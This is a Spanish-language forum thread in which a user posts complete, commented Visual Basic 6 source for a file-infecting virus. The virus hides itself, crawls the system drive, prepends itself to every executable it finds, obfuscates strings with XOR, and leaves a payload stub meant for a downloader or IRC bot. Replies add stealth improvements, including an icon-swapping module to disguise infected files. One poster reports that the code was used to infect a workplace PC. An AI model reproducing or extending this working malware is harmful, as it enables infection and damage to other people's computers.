Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Mad Antrax en 4 Abril 2007, 23:02 pm



Título: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 4 Abril 2007, 23:02 pm
Infección de Ejecutables en Visual Basic 6.0

Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección :P Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source :)

Como funciona?

1- El programa principal busca por el disco duro todos los archivos con extension *.exe
2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED]
3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada

(http://perso.wanadoo.es/madantrax/struct.jpg)

Form1.frm
Código
  1. Private Sub Form_Load()
  2.    App.TaskVisible = False
  3.    If App.PrevInstance = True Then End
  4.    SelfCheck
  5. End Sub
  6.  

InfectModule.bas
Código
  1.  
  2. Function SelfCheck()
  3.    On Error Resume Next
  4.    Dim MyCode As String
  5.  
  6.    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
  7.    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
  8.        MyCode = Input(LOF(1), 1)
  9.    Close #1
  10.  
  11.    'Separa "MyCode" buscando la marca de infección (**X**)
  12.    Buffer = Split(MyCode, "(**X**)")
  13.  
  14.    If UBound(Buffer) = 1 Then
  15.        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
  16.        Hostage = Buffer(1)
  17.        DivideFiles Hostage
  18.    Else
  19.        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
  20.        Subfolders (Environ("SystemDrive") & "\")
  21.        DoEvents
  22.        End
  23.    End If
  24. End Function
  25.  
  26. Function DivideFiles(ByVal Hostage As String)
  27.    Randomize
  28.    On Error Resume Next
  29.    Dim TmpFile As String
  30.  
  31.    'Crea un archivo temporal con el código del Huésped, por ejemplo:
  32.    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
  33.    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
  34.  
  35.    Open TmpFile For Binary As #1
  36.        Put #1, , Hostage
  37.    Close #1
  38.  
  39.    DoEvents
  40.    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
  41.    Shell TmpFile, vbNormalFocus
  42.    Call ExecPayload
  43. End Function
  44.  
  45. Function InfectFile(ByVal Victim As String)
  46.    On Error Resume Next
  47.    Dim VictimCode As String
  48.    Dim NewCode As String
  49.    Dim MyCode As String
  50.  
  51.    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
  52.    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
  53.        MyCode = Input(LOF(1), 1)
  54.    Close #1
  55.  
  56.    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
  57.    Open Victim For Binary As #1
  58.        VictimCode = Input(LOF(1), 1)
  59.    Close #1
  60.  
  61.    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
  62.    NewCode = MyCode & "(**X**)" & VictimCode
  63.  
  64.    'Sobrescribe el archivo Huésed con el infectado
  65.    Open Victim For Binary As #1
  66.        Put #1, , NewCode
  67.    Close #1
  68. End Function
  69.  
  70. Function IsInfected(ByVal File As String) As Boolean
  71.    On Error Resume Next
  72.    Dim FileCode As String
  73.  
  74.    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
  75.    Open File For Binary As #1
  76.        FileCode = Input(LOF(1), 1)
  77.    Close #1
  78.  
  79.    'Separa "FileCode" buscando la marca de infección (**X**)
  80.    Buffer = Split(FileCode, "(**X**)")
  81.  
  82.    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
  83.    If UBound(Buffer) <> 0 Then
  84.        IsInfected = True
  85.    Else
  86.        IsInfected = False
  87.    End If
  88. End Function
  89.  
  90. Function Subfolders(path)
  91.    On Error Resume Next
  92.    'Se cifra el string que carga el objeto Scripting.FileSystemObject
  93.    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
  94.    Set Drives = fso.Drives
  95.  
  96.    newpath = path
  97.    Set Fold = fso.GetFolder(newpath)
  98.    Set Files = Fold.Files
  99.  
  100.    For Each File In Files
  101.        ext = fso.GetExtensionName(File.path)
  102.        ext = LCase(ext)
  103.        nam = LCase(File.Name)
  104.        If (ext = "exe") Then
  105.            If IsInfected(File.path) = False Then
  106.                InfectFile (File.path)
  107.                DoEvents
  108.            End If
  109.        End If
  110.    Next
  111.  
  112.    Set File = Fold.Subfolders
  113.    For Each Subfol In File
  114.        Call Subfolders(Subfol.path)
  115.    Next
  116. End Function
  117.  
  118. Function ExecPayload()
  119.    '#######################################################
  120.    '##  Si quieres que los archivos infectados ejecuten  ##
  121.    '##  la función de buscar e infectar nuevos archivos  ##
  122.    '##  elimina los comentario que hay a continuación    ##
  123.    '#######################################################
  124.  
  125.    'Subfolders (Environ("SystemDrive") & "\")
  126.    'DoEvents
  127.  
  128.    MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
  129.    End
  130. End Function
  131.  

Encryption.bas
Código
  1. Function bullet(FullCode)
  2.    'Funcion que cifra Strings con el operador XOR
  3.  
  4.    For i = 1 To Len(FullCode)
  5.        Current = Mid(FullCode, i, 1)
  6.        Code = Chr(Asc(Current) Xor 2)
  7.        bullet = bullet + Code
  8.    Next
  9. End Function
  10.  



Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD

Ir con cuidado, Saludos!!


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 4 Abril 2007, 23:05 pm
Esté código lo programé enterito para el Laboratorio del foro, pedí si podía sacar el código fuera y aquí lo teneis, de pueden mejorar algunas cosillas, vosotros mismos...

Saludos!!


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Hendrix en 4 Abril 2007, 23:19 pm
Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio, ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD

Lo dicho, si logro terminarlo lo posteare, ya que no voy a usar al codigo...

Salu2

PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 4 Abril 2007, 23:24 pm
ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD
Exacto, pero eso tiene facil solución... antes de infectar el archivo hay que leer su icono y escribirlo a nuestro código vírico, en mis pruebas con una máquina virtual funciona de maravilla, solo tienes que añadir el módulo de IconChanger.bas que ya postee aqui.

Saludos!!

PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\

Mi código es del 29 Junio 2006, desconozco si WarGhost lo hizo antes o después.

Saludos!!


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Hendrix en 4 Abril 2007, 23:48 pm
Ok...lo del icono me extraño, ya que canta mucho, y como no posteaste el modulo del icono pues crei que no lo cambiabas... ;) ;)

Un Saludo.  ;)


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: nhaalclkiemr en 5 Abril 2007, 00:20 am
Muy bueno, lo provaré  :xD (En Virtual PC claro esta) ;D ;D

¿Y que habría que modificar en el codigo para que infectase solo a un .exe determinado? No a todos

Y una cosa, esto es una aplicacion o el codigo se lo añadimos por ejemplo a un archivo que tengamos nosotros??

Muy buenos todos tus trabajos
Un saludo ;) ;)


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: byebye en 5 Abril 2007, 02:36 am
Citar
Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio

eso no va a funcionar.

1º si es en vb olvidate, si aun asi logras escribir alguna rutina que sirva de algo en otros pcs lo tiene crudo ya que si infectas (lo que es una verdadera infeccion) el codigo se escribe de forma distinta a la "normal" no se puede llamar a las funciones tal cual, por ejemplo:

MessageBoxA(..................) <---- Esto no funciona a la hora de una infeccion

2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.

3º es aconsejable dejar todos los registros y flags como estaban antes de devolver el control al programa original en vb veo esto poco factible.

todo esto suponiendo que quieras hacerlo en vb.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: nhaalclkiemr en 5 Abril 2007, 02:57 am
Lo prové y algunos fallos:

-Durante la infeccion consume todos los recursos del sistema, en mi Virtual PC me apareció al advertencia "Minimo de memoria virtual" y tengo establecidos 512MB de RAM. Aunke tarde un poko mas debería actuar en segundo plano...pues puede que la victima desconfie o simlemente se le bloquee y reinicie...

-Una vez infectada la victima, las aplicaciones no se ejecutan con parametros, es decir, si abres un documento de texto Windows por defecto ejecuta "notepad.exe %1" pues si esta infectado solo se ejecutará "notepad.exe". Es decir, al abrir un archivo de texto simplemente se abrira el block de notas pero no abrira el archivo seleccionado...lo mismo pasa con archivos  de musica y tal...

Otro ejemplo, si escribes en ejecuta "cmd.exe /C "tasklist" en verdad te ejecutara "cmd.exe" simplemente se abrira la consola sin hacer nada mas...

Otro ejemplo, si dentro de la consola escribes cualquier comando como por ejemplo "taskkill /F /IM proceso.exe" simplemente te ejecutará "taskkill" por lo que en la ventana te aparecerá la ayuda de taskkill (que es lo que este responde cuando lo ejecutas sin parametros)

Por esto mismo los .bat tambien quedan inservibles

En resumen, los .exe infectados omiten cualquier parametro en su ejecucion...


Por el resto todo bien, aun no lo prové demasiado, de momento esos fueron los dos errores mas salientables...

Buen trabajo
Un saludo ;) ;)


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 5 Abril 2007, 07:03 am
En mi máquina virtual el virus no consume tantos recursos, pero eso es tan facil como poner un sleep cada 100 archivos y solucionado.

El tema de los parametros ya era consciente, se puede solucionar de forma sencilla con una función más que recoja los parametros y se los envíe a la aplicación infectada

Para terminar, los archivos de system32 (cmd, taskkill, tasklist, etc...) tiene habilitado el SFC de Windows (Sistema de Protección de Archivos), si un virus o similar modifica, sobreescribe o elimina un ejecutable, esté se creará de nuevo pasado unos segundos. Es por eso que no se puede infectar el cmd, explorer, tasklist, etc...

Saludos!!


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 5 Abril 2007, 12:27 pm
Hola

bua esta mortal nen

Yo de siempre habia usado otra técnica, pero esta aparte de mas simple veo que es mas efectiva.

Lo unico que no encuentro es lo del IconChanger.bas que dices para mejorarlo.

saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: nhaalclkiemr en 5 Abril 2007, 12:44 pm
Ahh, en mi maquina virtual tengo el SFC desactivado por lo que si que infecta el cmd.exe y estos archivos...aunke supongo que el explorer.exe y alguno mas no los infectará pork estan en ejecucion...
Sobre los recursos empieza y consume casi toda la CPU y lo deje infgectando y cuando termino miré y estaba la advertencia esa que te dije "minimo de memoria virtual"...

¿¿Podrías modificar el codigo fuente con lo de los parámetros y los recursos arreglado??

¿Y como puedo hacer para infectar solo a un ejecutable determinado que quiera y no a todos los del sistema?

Un saludo ;) ;) ;)


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Hendrix en 5 Abril 2007, 21:06 pm
Citar
Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio

eso no va a funcionar.

1º si es en vb olvidate, si aun asi logras escribir alguna rutina que sirva de algo en otros pcs lo tiene crudo ya que si infectas (lo que es una verdadera infeccion) el codigo se escribe de forma distinta a la "normal" no se puede llamar a las funciones tal cual, por ejemplo:

MessageBoxA(..................) <---- Esto no funciona a la hora de una infeccion

2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.

3º es aconsejable dejar todos los registros y flags como estaban antes de devolver el control al programa original en vb veo esto poco factible.

todo esto suponiendo que quieras hacerlo en vb.

Lo ago en C... ;) ;) Ya se que VB no da para tanto...

Citar
2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.

Mi intencion era modificar el EntryPoint del archivo infectado para que apuntara al codigo de mi ejecutable, asi iniciarse el mio y despeus ya generar y ejecutar el otro....recuerdo que el Txernobil (Worm) se alojaba en los espacios "inservibles" de los archvios, de modo que no aumentaba el peso y se ejecutaba perfectamente...

Un Saludo.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: ~~ en 6 Abril 2007, 01:14 am
Yo ahora tb estoy desarrollando un code de infeccion, q creo, pero no estoy muy seguro q funciona distinto a ese, ya q en propagacion virica no estoy muy puesto.

Soy la idea general, para el q le interese. Lo mio seria mas bien tipo joiner. Copiamos en un archivo el ekivalente al stubb, a continuacion nuestro virus, y al final el ejecutable q hemos infectado.
Despues borramos el ejecutable original y nos kedamos con su nombre y su icono. De esta manera al ejecutarse este nuevo ejecutable extraeria el archiv original de si mismo, lo ejecutaria y haria lo mismo con el "virus" o el code q keramos ponerle.

Es asi como lo haceis vosotros no?? por q yo eso del entrypoint ni lo e tocado  :xD :xD


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: DrakoX en 6 Abril 2007, 03:09 am
Muy lindo ||MadAntrax||
me gusto mucho

slu2 y gracias

PD: Ya toy implementandolo en un wormq hice hace un buen tiempo

salu2


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 6 Abril 2007, 11:28 am


acabo de comprobar lo de los iconos la verdad es que si, es un poco cantoso.

Algien sugiere algo para evitar ese pequeño fallo

saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: DrakoX en 6 Abril 2007, 18:12 pm
si,
ya dijiseron que con el modulo del IconChanger
se puede arreglar todo

salu2 y suerte


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 6 Abril 2007, 19:49 pm


tube buscando por el foro pero no encontre nada sobre ese modulo  :-[


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: DrakoX en 6 Abril 2007, 20:07 pm
bajate el Catrus Joiner Source,
que ahi tenes el iconChanger

salu2


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 6 Abril 2007, 21:24 pm


vale ya tengo el modulo, pero no lo e pillado muy bien, cuales son los parametros para llamar a la funcion

ReplaceIcons [icono], [la ruta de donde este el .exe], [lok viene ahora ya no lo entiendo]

el problema es que en el codigo del cactus joiner, ya selecionaba el icono (.ico), pero lo que necesitamos aqui es extraerselo a un ejecutable (.exe).

saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: DrakoX en 6 Abril 2007, 22:43 pm
Citar
pero lo que necesitamos aqui es extraerselo a un ejecutable (.exe).

ahhh,
habermelo dicho antes,

proba cn esto:
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=43668&lngWId=1

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=34062&lngWId=1

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=22893&lngWId=1

espero q alguno t sirva

salu2 y suerte


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 7 Abril 2007, 11:52 am


gracias eso me a venido perfecto.

Bien ya tengo extraido el icono, ahora lo que necesito es remplazarlo (usare el iconchanger), aver si esta bien asi la estructura:

Citar
ReplaceIcons picViewIcon.Picture, Victim
(picViewIcon.Picture = el_icono ; Victim = la_ruta_del_exe)

asi valdria o faltaria ponerle algo mas?

saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: DrakoX en 7 Abril 2007, 17:44 pm
para el icon changer si no me equivoco,
necesitas tener el archivo .ico

para eso utiliza esto:
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=22893&lngWId=1

salu2


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: LeandroA en 7 Abril 2007, 21:52 pm
hola me temo que ninguno de los modulos presentes son eficientes la unica forma de que quede un buen trabajo es trabajar con las apis LoadResource,EnumResourceLanguages,EnumResourceNamesByNum
EnumResourceNamesByString,EnumResourceTypes
y especialmente
BeginUpdateResource,UpdateResource,EndUpdateResource

voy a ver si puedo hacer un modulo para cambiar el icono de un exe por otro exe


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 8 Abril 2007, 00:01 am
Hola

ok aver que tal te queda, porque yo desarrole el mio atraves de todo lo que me sugirieron me eran demasiadas lineas, me ongordaba demasiado el bicho

saludos


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: slossetti en 9 Abril 2007, 17:40 pm
Hola, entro al foro porque alguien entro a la maquina donde yo trabajo y entro a este foro y adrede descargo el codigo en cuestion y me infecto la PC. Buscando algo de información encontre este foro, queria preguntarles de que manera se puede eliminarlo ya que hace imposible usar la PC.

Gracias.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Saok Dagon en 10 Abril 2007, 08:51 am

si nos dices cual es el codigo en cuestion se puede hacer una "vacuna" para el.

Si no, busca entre tus procesos y mata el del virus o el que te parezca sospechoso, y luego pasa el AV aver si hace algo de provecho.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: slossetti en 10 Abril 2007, 17:07 pm
Es el que hablan en ucestion en este post, que esta para bajar el source.

En cada proceso y archivo que ejecuta la PC se abre una ventana que dice "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"

Saludos.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: byebye en 10 Abril 2007, 19:44 pm
pues te pillas un editor hexadecimal y sabiendo el tamaño del archivo pues lo tienes facil de quitar. segun creo recordar decian que estaba hecho para actuar de la siguiente forma virus+marca+programa original. si no se modifica nada en cada infeccion el tamaño es fijo sabiendo el del virus recuperas rapido el original o si no como hay 2 cabeceras las buscas y lo arreglas.


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: Mad Antrax en 10 Abril 2007, 21:27 pm
Es el que hablan en ucestion en este post, que esta para bajar el source.

En cada proceso y archivo que ejecuta la PC se abre una ventana que dice "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"

Saludos.

Vaya tela, mira que dije claramente: OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD Ir con cuidado, Saludos!!

Bueno, si ha sido con el mismo source de la primera pagina se puede crear una simple vacuna cambiando unos valores... pero ahora mismo no tengo tiempo ni de mirarmelo. Tendrás que esperar al fin de semana o esperar a ver si algu usuario lo hace


Título: Re: [Source] Infección de ejecutables en VB6
Publicado por: LeandroA en 14 Abril 2007, 23:45 pm
bueno siguiendo con el tema de los iconos, pongo un modulo para cambiar el icono de un exe por el de otro exe, esta un poco extenso ya que no esta echo para este proposito, pero se puede resumir vastante y optimizar mas,

En un modulo bas
Código:
Option Explicit
'modificado by LIA 14/04/07
Private Type ICONDIRENTRY
   bWidth As Byte               '// Width of the image
   bHeight As Byte              '// Height of the image (times 2)
   bColorCount As Byte          '// Number of colors in image (0 if >=8bpp)
   bReserved As Byte            '// Reserved
   wPlanes As Integer           '// Color Planes
   wBitCount As Integer         '// Bits per pixel
   dwBytesInRes As Long         '// how many bytes in this resource?
   dwImageOffset As Long        '// where in the file is this image
End Type

Private Type ICONDIR
   idReserved As Integer   '// Reserved
   idType As Integer       '// resource type (1 for icons)
   idCount As Integer      '// how many images?
   'idEntries() as ICONDIRENTRY array follows.
End Type

Private Type tBits
   bBits() As Byte
End Type

Private Type IcoExe
    IcoDir As ICONDIR
    Entries() As ICONDIRENTRY
End Type

Private Type Ico
    IcoDir As ICONDIR 'entete
    Entries() As ICONDIRENTRY 'decrit chaque icone
    IcoData() As tBits 'données
End Type



Private Type MEMICONDIRENTRY
   bWidth As Byte               '// Width of the image
   bHeight As Byte              '// Height of the image (times 2)
   bColorCount As Byte          '// Number of colors in image (0 if >=8bpp)
   bReserved As Byte            '// Reserved
   wPlanes As Integer           '// Color Planes
   wBitCount As Integer         '// Bits per pixel
   dwBytesInRes As Long         '// how many bytes in this resource?
   nID As Integer               '// the ID
End Type


Private Const IMAGE_ICON = 1


' File read/write through Win32.  Declares are modified from the VB versions to allow null to be passed to lpSecurityAttributes and lpOverlapped:
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const OPEN_EXISTING = 3
Private Const CREATE_ALWAYS = 2
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const INVALID_HANDLE_VALUE = -1
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Private Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Const FILE_BEGIN = 0

' Resource functions:
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" (ByVal lpLibFileName As String, ByVal hFile As Long, ByVal dwFlags As Long) As Long

Private Const LOAD_LIBRARY_AS_DATAFILE = &H2&
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function LockResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Function FindResource Lib "kernel32" Alias "FindResourceA" (ByVal hInstance As Long, lpName As Any, lpType As Any) As Long
Private Declare Function SizeofResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function FreeResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Function BeginUpdateResource Lib "kernel32.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long
Private Declare Function EnumResourceNamesByNum Lib "kernel32" Alias "EnumResourceNamesA" (ByVal hModule As Long, ByVal lpType As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long

Private Const RT_ICON = 3
Private Const DIFFERENCE = 11
Private Const RT_GROUP_ICON = RT_ICON + DIFFERENCE



Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
    lpvDest As Any, lpvSource As Any, ByVal cbCopy As Long)


Private m_sFile As String
Private m_vID As Variant
Private m_tID As ICONDIR
Private m_tIDE() As ICONDIRENTRY
Private m_tBits() As tBits
Private m_VName As Variant
Public Function RemplaceIcons(Source As String, Dest As String) As Boolean

Dim m_hMod As Long

If Not CanWrite(Dest) Then Exit Function



m_hMod = LoadLibraryEx(Source, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
Call EnumResourceNamesByNum(m_hMod, RT_GROUP_ICON, AddressOf EnumResNamesProc, 0)
FreeLibrary m_hMod

If (VarType(m_VName) = vbLong) Then
    LoadIconFromEXE Source, m_VName
Else
    LoadIconFromEXE Source, , m_VName
End If
       
SaveIcon "c:\" & m_VName & ".ico"
       
m_hMod = LoadLibraryEx(Source, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
Call EnumResourceNamesByNum(m_hMod, RT_GROUP_ICON, AddressOf EnumResNamesProc, 0)
FreeLibrary m_hMod

If ReplaceIcoInExe(Dest, "c:\" & m_VName & ".ico", 1, m_VName, 0) Then
    RemplaceIcons = True
End If


End Function

Private Function CanWrite(File As String) As Boolean
On Local Error GoTo Denegar
Dim FF As Integer
FF = FreeFile
Open File For Binary Access Write As #1
Close
CanWrite = True
Exit Function:
Denegar:
End Function

Private Function LoadIconFromEXE( _
      ByVal sFile As String, _
      Optional ByVal lpID As Long = 0, _
      Optional ByVal lpName As String = "" _
   ) As Boolean
Dim hLibrary As Long
Dim hRsrc As Long
Dim hGlobal As Long
Dim lPtr As Long
Dim iEntry As Long
Dim tMIDE As MEMICONDIRENTRY
Dim nID() As Integer
Dim iBaseOffset As Long
Dim lSize As Long
Dim bFail As Boolean

   ' Loads an Icon from an Executable (EXE, DLL etc).  Use the EnumResources module
   ' to determine the available resource IDs.

   m_sFile = sFile
   m_vID = Empty
   Erase m_tIDE
   Erase m_tBits
   
   With m_tID
      .idCount = 0
      .idReserved = 0
      .idType = 0
   End With
   

   hLibrary = LoadLibraryEx(sFile, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
   If (hLibrary = 0) Then
      ' Failed to load the executable. Probably not a Win32 EXE.
      'Err.Raise vbObjectError + 1048 + 6, App.EXEName & ".cFileIcon", "Can't load library."
      LoadIconFromEXE = False
   Else
      ' Find the resource:
      If (lpID <> 0) Then
         lpName = "#" & CStr(lpID)
         hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_GROUP_ICON)
         m_vID = lpID
      Else
         hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_GROUP_ICON)
         m_vID = lpName
      End If
      If (hRsrc = 0) Then
         ' Resource not found in this library:
         'Err.Raise vbObjectError + 1048 + 7, App.EXEName & ".cFileIcon", "Can't find resource."
         LoadIconFromEXE = False
      Else
         ' Load the resource (returns a handle which can be used to access the data):
         hGlobal = LoadResource(hLibrary, hRsrc)
         If (hGlobal = 0) Then
            'Err.Raise vbObjectError + 1048 + 8, App.EXEName & ".cFileIcon", "Can't load resource."
            LoadIconFromEXE = False
         Else
            ' Lock the resource for reading (returns a pointer to the resource data):
            lPtr = LockResource(hGlobal)
            If (lPtr = 0) Then
               'Err.Raise vbObjectError + 1048 + 8, App.EXEName & ".cFileIcon", "Can't lock resource."
               LoadIconFromEXE = False
            Else
               ' Get the icon header:
               CopyMemory m_tID, ByVal lPtr, Len(m_tID)
               Debug.Print m_tID.idCount, m_tID.idReserved, m_tID.idType
               
               ' Do we have icons in this resource?
               If (m_tID.idCount > 0) Then
                 
                  ' For each of the entries, get the icon directory information:
                  ReDim m_tIDE(0 To m_tID.idCount - 1) As ICONDIRENTRY
                  ReDim nID(0 To m_tID.idCount - 1) As Integer
                 
                  ' Get all the directory information into a byte array (to avoid
                  ' problems with WORD alignment of structures):
                  ReDim b(0 To Len(m_tID) + Len(tMIDE) * m_tID.idCount - 1) As Byte
                  CopyMemory b(0), ByVal lPtr, Len(m_tID) + Len(tMIDE) * m_tID.idCount
                 
                  ' Loop through the entries, getting the IDs and creating a standard
                  ' ICONDIRENTRY structure:
                  For iEntry = 0 To m_tID.idCount - 1
                     ' Get the MEMICONDIRENTRY structure:
                     CopyMemory tMIDE, b(Len(m_tID) + iEntry * Len(tMIDE)), Len(tMIDE)
                     ' Store the icon's resource id:
                     nID(iEntry) = tMIDE.nID
                     ' Copy data into standard ICONDIRENTRY structure.  Note the .dwImageOffset
                     ' member will be wrong at this stage:
                     CopyMemory m_tIDE(iEntry), tMIDE, Len(tMIDE)
                  Next iEntry
                 
                  ' Now correct the ICONDIRENTRY byte offsets:
                  iBaseOffset = Len(m_tID) + Len(m_tIDE(0)) * m_tID.idCount
                  m_tIDE(0).dwImageOffset = iBaseOffset
                  For iEntry = 1 To m_tID.idCount - 1
                     m_tIDE(iEntry).dwImageOffset = m_tIDE(iEntry - 1).dwImageOffset + m_tIDE(iEntry - 1).dwBytesInRes
                  Next iEntry
                 
                  ' Now we have the ICONDIRENTRY structures, get the actual bits of the icons:
                  ReDim m_tBits(0 To m_tID.idCount - 1) As tBits
                  For iEntry = 0 To m_tID.idCount - 1
                     ' Load the icon with the specified resource ID:
                     lpName = "#" & nID(iEntry)
                     hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_ICON)
                     If (hRsrc = 0) Then
                        bFail = True
                        Exit For
                     Else
                        ' Load the resource:
                        hGlobal = LoadResource(hLibrary, hRsrc)
                        If (hGlobal = 0) Then
                           bFail = True
                           Exit For
                        Else
                           ' Determine the size of the resource:
                           lSize = SizeofResource(hLibrary, hRsrc)
                           ' If the size is valid:
                           If (lSize > 0) And (lSize = m_tIDE(iEntry).dwBytesInRes) Then
                              ' Lock the resource and get a pointer to the memory:
                              lPtr = LockResource(hGlobal)
                              If (lPtr = 0) Then
                                 bFail = True
                                 Exit For
                              Else
                                 ' Store this memory in the bitmap bits array:
                                 ReDim Preserve m_tBits(iEntry).bBits(0 To lSize - 1) As Byte
